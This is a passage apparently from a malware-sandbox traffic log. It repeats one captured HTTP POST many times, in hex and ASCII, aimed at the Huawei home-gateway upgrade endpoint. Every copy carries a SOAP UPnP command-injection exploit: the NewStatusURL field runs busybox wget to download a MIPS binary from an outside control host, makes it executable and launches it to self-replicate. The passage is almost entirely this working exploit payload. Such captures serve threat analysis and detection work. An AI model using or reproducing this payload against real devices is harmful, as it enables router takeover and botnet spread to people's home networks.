2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 